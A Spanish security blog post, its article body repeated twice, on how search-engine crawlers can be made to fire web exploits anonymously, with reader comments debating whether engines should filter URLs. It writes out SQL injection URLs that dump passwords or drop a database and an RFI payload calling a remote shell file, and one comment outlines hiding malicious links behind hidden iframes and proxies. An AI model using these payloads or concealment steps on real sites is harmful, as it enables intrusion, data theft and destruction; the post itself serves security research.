Sigue El lado del mal en Telegram
Chema Alonso en Threads
Chema Alonso en Mastodon
Chema Alonso en BSKY
Chema Alonso en Linkedin
DragonJAR
8.8 Chile
Ekoparty
e-Hack MX 
AREA 51 
Comunidad Dojo Panamá 
ARPAHE SOLUTIONS 
Buscadores como arma de destrucción masiva [I de III]
*********************************************************************************************
- Buscadores como arma de destrucción masiva [I de III]
- Buscadores como arma de destrucción masiva [II de III]
- Buscadores como arma de destrucción masiva [III de III]
Autores: Chema Alonso & Enrique Rando
*********************************************************************************************
Cuando se habla de buscadores y seguridad, rápidamente vienen a la mente diversas técnicas de recolección de información y de detección de fugas de datos. Técnicas, como Google Hacking o Bing Hacking, “pasivas” y no intrusivas.
Pero no acaban ahí las posibilidades. Éste artículo se centra en el uso de los buscadores como armas, capaces de realizar acciones intrusivas contra los sitios web. Buscadores que se convierten en herramientas que pueden ser útiles para las actividades de pentesting o exploiting.
A.- Ejecución de exploits
Muchas vulnerabilidades de aplicaciones web pueden explotarse inyectando algún tipo de ataque en los parámetros GET de una URL. Por ejemplo, extraer los datos de los usuarios del sitio puede resultar así de fácil:
http://www.webjodida.com/listado.php?id=a’ union select login,password from tabla_usuarios --
O, si lo que desea uno es cepillarse la base de datos completa:
http://www.webjodida.com/listado.php?id=Bobby’ ; drop database students --
O, si se prefiere, también tenemos el típico ataque RFI que muestra el listado de ficheros de la unidad raiz:
http://www.webjodida.com/control.php?page=http://sucks.sucks/shell.txt?cmd=dir+c:\
Por supuesto, muchas empresas se previenen contra estos ataques y realizan sus buenas auditorías, forman adecuadamente a su personal, desarrollan el software siguiendo prácticas seguras y montan WAFs que filtran estas URLs tan “divertidas”. Por supuesto, otras no.
Imaginemos que alguien descubre una vulnerabilidad en una web que es explotable con una única petición, inyectando el ataque en un parámetro GET. Y supongamos que no quiere poner las cosas fáciles a quien intente localizarle.
Aquí es donde entran en juego nuestros amigos. El atacante podría pedir a varios buscadores la indexación de una URL con el exploit. O que indexaran una página cuyo código contenga links a los exploits a ejecutar. Después, cada buscador, para realizar como es debido su trabajo, se vería obligado a visitar la página y, al hacerlo, desencadenaría el ataque.
Posteriormente, cuando se investigara el asunto, el sitio atacado sólo tendría la IP y el User-Agent del buscador. No los del atacante. Y, lo que es peor (o quizá lo mejor, según para quién), es que los resultados del ataque podrían quedar accesibles al público tanto a través de las páginas de resultados como de las cachés de los buscadores. De ese modo, cualquiera podría consultarla sin que la organización propietaria de la web tenga conocimiento de ello.
Para investigar estas aplicaciones, se han hecho algunas webs de prueba y se ha pedido a diversos buscadores que indexen URLs maliciosas. De esta forma pudimos, por ejemplo, ver como Google indexa y guarda en su caché resultados de ejecutar un SQL Injection a una página:
Figura 1. URL maliciosa indexada por Google. La URL aparece en la barra de estado
Figura 2. Los datos están en la Caché
O también observar como Exalead es capaz de borrar los datos de una tabla sin siquiera despeinarse. ¡Y después presume de ello!:
Figura 3. Cuéntale al jefe que un buscador se cargó tus datos. Pero, antes, actualiza tu curriculum.
O que Yahoo! te puede sacar usuarios y contraseñas de un sitio (ver el resumen asociado al resultado):
Figura 4. Usuario y Contraseña por SQL Injection en la página de resultados.
Si exceptuamos lo de la caché y el escarnio público, el problema aquí no es que el buscador se convierta en el arma homicida. El atacante podría haber usado cualquier otra herramienta o conexión para lanzar el ataque. Podría haberse conectado a una WiFi desprotegida, o irse a cualquier red que no fuera suya, para lanzar el ataque, podría haber usado una conexión anónima… lo que fuera. Mientras la vulnerabilidad exista, podrá ser explotada.
Lo que no deja de sorprender es que un buscador no tenga implementado un sistema de filtrado de URLs, es decir, que un servicio que gestiona URLs, y que visita las correspondientes páginas web, no realice un análisis de las mismas para detectar ataques XSS, RFI o SQLI, por ejemplo. Y es algo que no se limita a los buscadores: indexadores, acortadores de URL, generadores de thumbnails de páginas, etcetera pueden presentar problemas similares.
Por supuesto, una forma de protegerse de este comportamiento de los buscadores podría ser poner un robots.txt que filtrase los directorios donde las aplicaciones se están ejecutando. La pregunta es, ¿hasta qué punto es efectiva esta medida?
*********************************************************************************************
- Buscadores como arma de destrucción masiva [I de III]
- Buscadores como arma de destrucción masiva [II de III]
- Buscadores como arma de destrucción masiva [III de III]
Autores: Chema Alonso & Enrique Rando
*********************************************************************************************
- Buscadores como arma de destrucción masiva [I de III]
- Buscadores como arma de destrucción masiva [II de III]
- Buscadores como arma de destrucción masiva [III de III]
Autores: Chema Alonso & Enrique Rando
*********************************************************************************************
Cuando se habla de buscadores y seguridad, rápidamente vienen a la mente diversas técnicas de recolección de información y de detección de fugas de datos. Técnicas, como Google Hacking o Bing Hacking, “pasivas” y no intrusivas.
Pero no acaban ahí las posibilidades. Éste artículo se centra en el uso de los buscadores como armas, capaces de realizar acciones intrusivas contra los sitios web. Buscadores que se convierten en herramientas que pueden ser útiles para las actividades de pentesting o exploiting.
A.- Ejecución de exploits
Muchas vulnerabilidades de aplicaciones web pueden explotarse inyectando algún tipo de ataque en los parámetros GET de una URL. Por ejemplo, extraer los datos de los usuarios del sitio puede resultar así de fácil:
http://www.webjodida.com/listado.php?id=a’ union select login,password from tabla_usuarios --
O, si lo que desea uno es cepillarse la base de datos completa:
http://www.webjodida.com/listado.php?id=Bobby’ ; drop database students --
O, si se prefiere, también tenemos el típico ataque RFI que muestra el listado de ficheros de la unidad raiz:
http://www.webjodida.com/control.php?page=http://sucks.sucks/shell.txt?cmd=dir+c:\
Por supuesto, muchas empresas se previenen contra estos ataques y realizan sus buenas auditorías, forman adecuadamente a su personal, desarrollan el software siguiendo prácticas seguras y montan WAFs que filtran estas URLs tan “divertidas”. Por supuesto, otras no.
Imaginemos que alguien descubre una vulnerabilidad en una web que es explotable con una única petición, inyectando el ataque en un parámetro GET. Y supongamos que no quiere poner las cosas fáciles a quien intente localizarle.
Aquí es donde entran en juego nuestros amigos. El atacante podría pedir a varios buscadores la indexación de una URL con el exploit. O que indexaran una página cuyo código contenga links a los exploits a ejecutar. Después, cada buscador, para realizar como es debido su trabajo, se vería obligado a visitar la página y, al hacerlo, desencadenaría el ataque.
Posteriormente, cuando se investigara el asunto, el sitio atacado sólo tendría la IP y el User-Agent del buscador. No los del atacante. Y, lo que es peor (o quizá lo mejor, según para quién), es que los resultados del ataque podrían quedar accesibles al público tanto a través de las páginas de resultados como de las cachés de los buscadores. De ese modo, cualquiera podría consultarla sin que la organización propietaria de la web tenga conocimiento de ello.
Para investigar estas aplicaciones, se han hecho algunas webs de prueba y se ha pedido a diversos buscadores que indexen URLs maliciosas. De esta forma pudimos, por ejemplo, ver como Google indexa y guarda en su caché resultados de ejecutar un SQL Injection a una página:
Figura 1. URL maliciosa indexada por Google. La URL aparece en la barra de estado
Figura 2. Los datos están en la Caché
O también observar como Exalead es capaz de borrar los datos de una tabla sin siquiera despeinarse. ¡Y después presume de ello!:
Figura 3. Cuéntale al jefe que un buscador se cargó tus datos. Pero, antes, actualiza tu curriculum.
O que Yahoo! te puede sacar usuarios y contraseñas de un sitio (ver el resumen asociado al resultado):
Figura 4. Usuario y Contraseña por SQL Injection en la página de resultados.
Si exceptuamos lo de la caché y el escarnio público, el problema aquí no es que el buscador se convierta en el arma homicida. El atacante podría haber usado cualquier otra herramienta o conexión para lanzar el ataque. Podría haberse conectado a una WiFi desprotegida, o irse a cualquier red que no fuera suya, para lanzar el ataque, podría haber usado una conexión anónima… lo que fuera. Mientras la vulnerabilidad exista, podrá ser explotada.
Lo que no deja de sorprender es que un buscador no tenga implementado un sistema de filtrado de URLs, es decir, que un servicio que gestiona URLs, y que visita las correspondientes páginas web, no realice un análisis de las mismas para detectar ataques XSS, RFI o SQLI, por ejemplo. Y es algo que no se limita a los buscadores: indexadores, acortadores de URL, generadores de thumbnails de páginas, etcetera pueden presentar problemas similares.
Por supuesto, una forma de protegerse de este comportamiento de los buscadores podría ser poner un robots.txt que filtrase los directorios donde las aplicaciones se están ejecutando. La pregunta es, ¿hasta qué punto es efectiva esta medida?
*********************************************************************************************
- Buscadores como arma de destrucción masiva [I de III]
- Buscadores como arma de destrucción masiva [II de III]
- Buscadores como arma de destrucción masiva [III de III]
Autores: Chema Alonso & Enrique Rando
*********************************************************************************************
23 comentarios:
Chema, lo he leido un poco por encima, pero me da que hoy te has colado... No era mas facil crear unas paginas falsas, colgarlas en internet y hacer lo mismo?
No se, asi al menos podrias tambien enseñarnos los logs.... O algo.
Nos vemos mañana!
@Pedro_Laguna, sí, pero te pueden tirar abajo la página. De todas formas, como dice el texto, se puede hacer de mil formas. La "GRACIA" es que no tengan filtrado de URLS los buscadores.
Saludos!
ya tenemos una nueva feature de la Foca....
Al final el mundo se acabará cuando saquen la Foca X y con sólo dar un botón se líe la zapatiesta...
Qué buenos sois!
Ok, vale, no comentar hasta no tener los dos ojos abiertos...
Revisando los sitios son paginas alojadas en hostings gratuitos, que ya pensaba yo que os habiais puesto a linkar paginas reales :P
Nada, lo dicho, nos vemos mañana ;)
Against the System: Rise of the Robots escrito por Zalewski en 2001 ya hablaba de esto.
Nos lo has puesto difícil...
tenemos alguna cosilla extra pero nos lo has puesto difícil
@Anónimo, sí, muy bueno el artículo de Zalewski, en parte de su trabajo se basa este artículo.
Saludos!
"Lo que no deja de sorprender es que un buscador no tenga implementado un sistema de filtrado de URLs"
No se puede decir más claro. Es alucinante que aquellos que basan su éxito en indexar direcciones no detecte aquellas que contienen ataques maliciosos.
Me pregunto si realmente perderían velocidad teniendo que hacer este chequeo.
Distinguido, Chema:
Agradezco su deferencia en cuanto a sus trabajos. Debo confesar que no soy asiduo a sus post, aunque reconozco su valía y generosidad en compartirlos. Felicito su empeño, y honestidad brutal. En tanto, quiero comentarle sobre un post, que me llego vía e-mail, sobre este señor, Enrique Dans, que tanto daño hace, cuando quiere interpretar saberes que no les corresponde. Su post, fue rico e irónico. Logre reirme por un buen rato, sobre el articulo. Estoy harto, de que estos pseudos cientifîcos, quieran hablar de todo, sin demasiado " contenido ", en la materia, es como que diga, que soy artista, sin haber pisado nunca un teatro, o lo que es peor, ni siquiera sepa lo que es. Por eso, agradezco su destreza literaria, en cumplir con agrado, algo que esperaba hace tiempo, dejar de patitas a este señor..
Sin otro particular, saludo respetuosamente.
Dr. Ali Sayed
@David
La seguridad de tu web es tu problema, no el de los robots. Incluso si los indexadores no soguieran esos enlaces, la vulnerabilidad está ahí. Pedir a los buscadores que protejan es tan absurdo como pedirles que retiren información personal del BOE mientras esa información se sigue publicando en la web del BOE (cosa que se ha hecho varias veces ya).
Además, este tipo de ataques son, francamente, poco realistas. Antes se usan botnets, que son mucho más seguras y rápidas para el atacante.
Zalewski bromea en su web acerca de su artículo
llamándolo "FUD masterpiece". Como prueba de concepto y ejercicio de masturbación mental no está mal, pero los chicos malos tienen otros métodos más expeditivos.
@anónimo, sí, y no. No me parece bien del todo que no haya filtrado de URLs. Si además el robots.txt fuera perfecto vale, pero no es demasiado dificil saltárselo...
Saludos!
@Maligno
Culpar a los buscadores de tus errores es la técnica del avestruz. Puede que te sintieras más seguro, pero realmente no lo estarías. No mates al mensajero.
Hay vectores de ataque mucho más interesantes que usar al buscador. El método del buscador es lento, no interactivo, bastante probable que falle. El beneficio para el atacante es mínimo (muy baja trazabilidad, que puede obtenerse usando botnets, proxies abierto, dando varios saltos en equipos infectados, infectando equipos con bombas lógicas, etc.) así que la probabilidad de un ataque de este tipo es prácticamente 0. Asimismo, para detectar que una web es vulnerable a este tipo de ataques, lo más probable es que el atacante haya usado una sesión interactiva mediante alguno de esos métodos alternativos, así que se perdería tal beneficio...
En definitiva, todo esto es muy rebuscado, y los atacantes reales son como los rayos: buscan siempre el camino de menor resistencia.
Lo dicho, como ejercicio mental me parece bien. Como sistema de ataque real, NO.
@Anónimo, nadie los culpa, pero una empresa que lídia con URLs debería tener algo. De hecho, lo hace en el redirect para evitar que lo usen para hacer ataques, pero no aquí.
Por supuesto que hay vectores más interesantes y sencillos, pero la Defensa en Profundidad existe para evitar cualquiera de ellos.
Echar la culpa al "cliente" de que el buscador te ha matado porque no has hecho bien tú página es como echar la culpa al cliente que no ha actualizado el sw cuando el fabricante saco el parche.
Yo creo que eso es un error y habría que, si trabajas con URLs, dar un paso más y reconocer el ataque.
PD: Podrías identificarte para no hablar con "anónimo" que no sé si es uno, dos o tres.
Saludos Malignos!
@Maligno
Sobre que los buscadores intenten filtrar los enlaces, Zalewski decía en su artículo:
On the other hand, it seems almost impossible to successfully filter contents to elliminate malicious code, if you consider the number and wide variety of known vulnerabilities. Not to mention targeted attacks [...]. So the problem persists.
Este tipo de ataques es absurdo. Hay mil formas de hacer que alguien visite un URL. Y no requires que sea un buscador. Por ejemplo, sigamos esta receta:
1) Crear una web con los enlaces maliciosos, preferiblemente sobre un tema que vaya a atraer a mucha gente (ejemplo: los nuevos episodios de LOST!) . Para disfrazar los enlaces (cosa que realmente no hace falta ya que la mayoría de usuarios no mira a dónde lleva un enlace, pero... ¡somos juankers profesionales!) debes:
a) incluirlos como contenido oculto: etiquetas img "ocultas" (imágenes con tamaño 0), iframes ocultos, etiquetas style, etiquetas a imágenes dentro del CSS, etc.
b) Usar URL encoding para ofuscar el enlace.
2) Publicar dicha página web, preferiblemente en algún sitio de hosting gratuito, desde un ciber café, y usando un proxy abierto en China.
3) Compartir (enlazar a) dicha web desde un foro, red social, etc.
4) Esperar que alguien visite tu web y sus enlaces.
5) Profit!
Todo esto funciona por dos razones: Primera, porque el navegador no es como el cliente de correo: no te pregunta primero si quieres descargar los enlaces de una página. Y segunda, porque el usuario medio no mira a dónde lleva un enlace antes de pinchar en él.
Esto es sólo un ejemplo absurdo. Como ya comenté anteriormente, hay formas mejores de "hackear" una web manteniendo el anonimato sin tanto jaleo (proxies abiertos, usar la red tor, conseguir/alquilar botnets, etc.). La solución de "esperar que otro pinche el enlace malicioso" es complicarse la vida gratuitamente, cosa que los malos "de verdad" no harán nunca. No es un ataque realista.
En definitiva, el problema está en tu web, no en el hecho de que alguien pueda poner un enlace a ella: la WWW funciona así. Si dicho enlace puede fastidiar tu página, es un problema de tu página. Si hay que filtrar los datos de entrada, hazlo en tu aplicación. Y si no puedes hacerlo en tu aplicación, pon un proxy inverso delante y hazlo ahí.
Y sí, sigo siendo el mismo anónimo :)
Anónimo,
- Sobre la no perfección de la medida de seguridad: Ninguna lo es, tampoco lo es el DEP, ni el ASLR, ni los firewall,sin embargo los WAF filtran URLs. Ahora mismo se está cociendo en el CSIC un trabajo sobre filtrado de URLs solo por su naturaleza, Hispasec va a lanzar una cosa similar y hay servicios de reputación de direcciones. Que no sea perfecta no quiere decir que filtrar la URL sea inutil.
- Sobre lo de que Google no debe hacerlo: Si alguien hace saltarse el filtro de robots.txt a Google y este se cepilla una base de datos.. ¿Qué parte de culpa le pones a Google? Aplicar medidas de defensa en profundidad es una responsabilidad de las compañías.
- Sobre que hay otros métodos: Cierto, y las empresas deberán atajar todos en los que se vean implicados, ya sea cerrando los hostings gratuitos, eliminando las webs malicionas, filtrando las vulnerabilidades, etc...
En definitiva, no creo que Google/Yahoo/Bing sean responsables de los fallos de la web, pero sí, al igual que los juguetes para niños, deben venir con medidas de autoprotección contra mal uso.
Respeto la opinión de M. Z. y la tuya, pero yo tengo la mía. };)
@Maligno
Por supuesto, no estoy intentando convencerte. Vas a hacer un artículo en 3 partes sobre el tema, no esperaba que cambiaras de opinión ;). Escribo la mía para dar otro punto de vista sobre el asunto, por si alguien está interesado en el mismo y consulta tu artículo. No sería la primera vez que una "vulnerabilidad" (más o menos) teórica y absurda se publica a bombo y platillo en los medios, generando FUD. Mira lo que pasó con la vulnerabilidad del DNS Kaminsky, que iba a destruir la web, y aquí estamos.
Por cierto, que no sé qué opina Zalewski sobre todo esto. Yo sólo interpreto su artículo y ésta es mi opinión.
Según lo creo, el filtrado de URLs es peligroso. Ya te lo dije cuando comentamos la protección anti XSS en IE: es muy fácil meter la pata, con distintas consecuencias según el sistema.
Además, no sólo los robots siguen enlaces. De hecho, son una parte ínfima de la "población" de internet. ¿De verdad me estás diciendo que parte de la solución es evitar que la gente pueda publicar contenido web de forma anónima? ¿No sería más justo dejar que aquél que programa de forma incorrecta sufra las consecuencias de ello en el muy hipotético caso de que el atacante use el sistema de "redirigir a un tercero"? Yo lo tengo claro.
De cualquier modo, a riesgo de repetirme una vez más: estos ataques no son realistas. No se conoce ningún caso, y cualquiera que intente algo así de verdad o está sólo haciendo una prueba de concepto o le gusta perder su tiempo. De hecho, creo que yo ya he perdido demasiado tiempo discutiendo un vector de ataques sin mayor sentido que el puramente académico :) Pero bueno, cada cual lo pierde como quiere, unos escriben en blogs y otros hacen proyectos de filtrado de URLs con el CSIC :P
Finalmente, deja que te cuente una historia hipotética, para que todos meditemos, si te parece.
Érase una vez un tipo que se programó su propia wiki desde cero. Un día, descubrió que, tras registrar su página en varios buscadores y recibir más tarde la visita de un robot de indexación, todo el contenido de su wiki había sido borrado. Al pedir explicaciones a uno de los buscadores, tras comprobar los responsables del mismo los logs del robot, se dieron cuenta de que el tipo había incluido, en cada página, un formulario (con su correspondiente botón de envío) para borrar la misma, que además se enviaba mediante GET y no requería autenticación. El robot, al ver los formulario con GET, siguió los enlaces de los mismos en cada página y, una a una, fue borrando la wiki. El tipo además fue tan insensato como para no mantener copias de seguridad. Afortunadamente, los chicos del buscador mantenían una copia de los datos, y pudieron reenviárselos para que el tipo pudiera restaurar su wiki. Asimismo, le explicaron al tipo que, para cualquier operación que cambie el estado, debe usarse formularios enviados mediante POST.
¿Debería el robot detectar en que las etiquetas de los botones estaba escrito "borrar" y detenerse en ese momento? o por el contrario, ¿era el tipo un mal desarollador web y el problema era sólo suyo? Yo me inclino totalmente por lo segundo, pero, siguiendo tu razonamiento, el buscador tiene parte de culpa y debe prever este tipo de situaciones, por muy absurdas e improbables que parezcan.
¡Saludos benignos!
@Anónimo, me ha encantado la historia, de hecho yo podría contarte alguna similar je,je.
Sin embargo, el filtrado de URLs es algo de lo que no sólo pienso que deben ocuparse, sino que creo que están trabajando en ello.
Ya lo han hecho con el google.com/redirect para frenar otros ataques a través suyo y lo harán con esto. Como decía en el artículo son gente quet "tratan con URLs" no, sólo en el buscador.
Cuando los distribuidores de malware se han dedicado a utilizar Google para encontrar víctimas, han puesto medidas de detección y bloqueo que no son perfectas, pero que mitigan.
Tal vez hoy te parezca poco práctico, pero también lo eran los ataques Blind SQL Injection cuando se podía hacer siempre con errores ODBC, sin embargo de hemos evolucionado a los Blind y en algunas auditorías nosotros lo hemos tenido que hacer en base a tiempos.
¿Apostamos a que meten filtrado de URLS?
Ya hay herramientas para usar el traduzctor de Google para bypassear filtrados de navegación, te imaginas que alguien utiliza el traductor, el servicio de ping, o lo que sea para, en tiempo real, extraer los datos en ataques SQL Injection? Y si lo hacen todos? Y si se hacen shells a través de los servicios de notificación de actualizaciones?
La máquina de Von Newman empezó siendo algo teórico.....
Saludos Malignos! };)
@Anonimo
Por supuesto que al final quien tiene la vulnerabilidad es la web. Pero los buscadores manejan millones de URL's sobre las que, por su *carencia de control*, sirven como otro método más de ejecutar un ataque.
Curiosamente, además, como rastrean TODA la web (no sólo la tuya, la de Chema y la mía, que están superprotegidas :-p ), suponen una irresponsabilidad, en mi opinión, tanto ó más importante, que el hecho de que seas tú solo el que no protege su web.
Por supuesto que todas las webs deberían estar 100% protegidas (Utopía). Pero lo cierto (realidad) es que, protegidas o no, los robots pasan por todas.
¿Quién utiliza la técnica del avestruz, quienes denunciamos que los buscadores deberían tener UN MÍNIMO CONTROL sobre lo que hacen? Yo creo que no.
Piénsalo con detenimiento: ¿demuestran manejar con seguridad los buscadores la información que tratan?.
@David, @Maligno
Ciertamente sois muy, muy cansinos con un tema que la "scene" internacional de seguridad (si es que tal cosa existe) dio por muerto hace años. Cada cual tiene sus gustos :-)
He de decir, de todos modos, que me ha embelesado especialmente este párrafo de David:
¿Quién utiliza la técnica del avestruz, quienes denunciamos que los buscadores deberían tener UN MÍNIMO CONTROL sobre lo que hacen?
Has dado en el clavo con la idea y la palabreja: denuncia. ¿Te cuento lo que va a pasar con los buscadores a este respecto? Que van a implementar el puñetero filtrado de URLs.
¿Porque es una vulnerabilidad atacable que es preciso mitigar? ¿Porque hay ataques de este tipo "in the wild" hackeando webs y causando daños de millones de euros? ¿Porque los habrá algún día? No, porque cuatro locos van a ponerse a denunciar este tipo de ataques (de los que nunca nadie vió un ejemplo real y probablemente nunca lo verá) a los medios de comunicación, el asunto va a pasar de ser un vector de ataque altamente improbable fuera del ámbito académico a una tormenta de Relaciones Públicas, y van a implementar algo para aplacar a esos locos y los cuatro periodistas, que por cierto no entienden siquiera qué es un URL y que titularán sus artículos algo así como "Google hackea miles de páginas web diariamente".
Los periodistas ya tendrán palabras altisonantes y titulares amarillistas con los que llenar páginas, los cuatro locos han aparecido en las noticias, y el buscador tiene un trabajo absurdo más que hacer, (casi) todos contentos. Es la versión digital de este mundo políticamente correcto en el que cualquier minoría consigue atención mediática por "graves problemas" que afectan al 0.001% de la población con gran bombo, platillo y refocile de los cuatro locos que los "denuncian". Me recuerda a lo de las "miembras" de la menestra Aído. Nada nuevo bajo el sol.
Mientras, en lo que para esos locos parece una galaxia paralela, los verdaderos blackhat siguen infectando equipos con malware, realizando phishing, controlando botnets, adivinando contraseñas (1234, qwerty, $USER), usando muleros y ganando miles de millones al día con credenciales y números de tarjetas de crédito robados. Pero oye, ahora los administradores de las web pueden sentirse tranquilos: los buscadores no van a hacer el mal (don't be evil!) y el principio de defensa en profundidad se está cumpliendo (o casi). Nótese que escribo sentirse, no estar ;)
Os pondré un símil, como mi último intento de que, si alguien sigue esta discusión, se de cuenta de lo absurdo de vuestra propuesta.
Objetivo: proteger un coche aparcado en la calle.
Tras hacer vuestro análisis de riesgos, decís: "alguien podría llamar por teléfono a los de la grúa, haciéndose pasar por la policía, para que se lleven el coche a un lugar determinado y robarlo allí más tarde tranquilamente. Llamar a la policía para protegerse frente a esto es una prioridad".
Yo digo: "el dueño del coche se ha dejado las llaves puestas. Lo más probable es que el ladrón rompa la ventana y huya conduciendo. Digámosle al irresponsable del dueño que recoja sus llaves y luego, si le interesa de verdad proteger su coche a pesar del coste que le va suponer, le sugerimos poner una alarma, contratar un seguro frente a robos, etc. Vuestra hipotética situación pasará de ser altamente improbable a directamente imposible (o financieramente aceptable) cuando hayamos aplicado las medidas que propongo y, además, con estas medidas nos habremos protegido frente a otras mil amenazas mucho más probables, sin tener que molestar a la policía (quienes, probablemente, se rían de nosotros si les explicamos vuestra hipótesis)".
¡Hala, buena parrafada me he pegado! Que la digiráis bien.
@Anónimo, en mi artículo dice que es este ataque es meramente curioso, pero aun así no creo que no deban filtrar URLS.
Saludos!
@Anonimo
Muy buena dramatización. Te pido humildemente disculpas por no ser un miembro activo de la scene de la seguridad.
También te pido disculpas por, posteando dos veces, convertirme en un cansino y un loco, pero visionario al fin y al cabo, cuyas denuncias harán que los buscadores muevan el culo y traten con cuidado los datos de los que viven.
¡Qué inesperado honor!
@David
Gracias por el elogio :)
Eso sí, cero en comprensión lectora: nadie pide que seas miembro de ninguna "scene". Por cierto, acerca de la "scene", te vendo un detector de ironía.
Ya más en serio, si tal cosa en mí cabe, me resulta cansino ver gente discutir cosas que hace casi 10 años ya se discutieron y se consideraron inútiles, cuestión de falta de paciencia, posiblemente. Pero, como ya dije, cada uno con su tiempo que haga lo que le parezca, incluso mandarlo a /dev/null. Yo sólo doy mi visión al respecto, y creo que ha quedado clara de sobra.
@Anónimo, apuntamos tu opinión a "anónimo". Bajo mi prisma, creo que las idéas son teóricas hasta que alguien encuentra el entorno donde ponerlas en práctica. En USA hay congresos de Seekers y Solvers. Unos tienen una solución teórica y otros un problema al que aplicarlo. Así funciona esto...
Saludos!
Publicar un comentario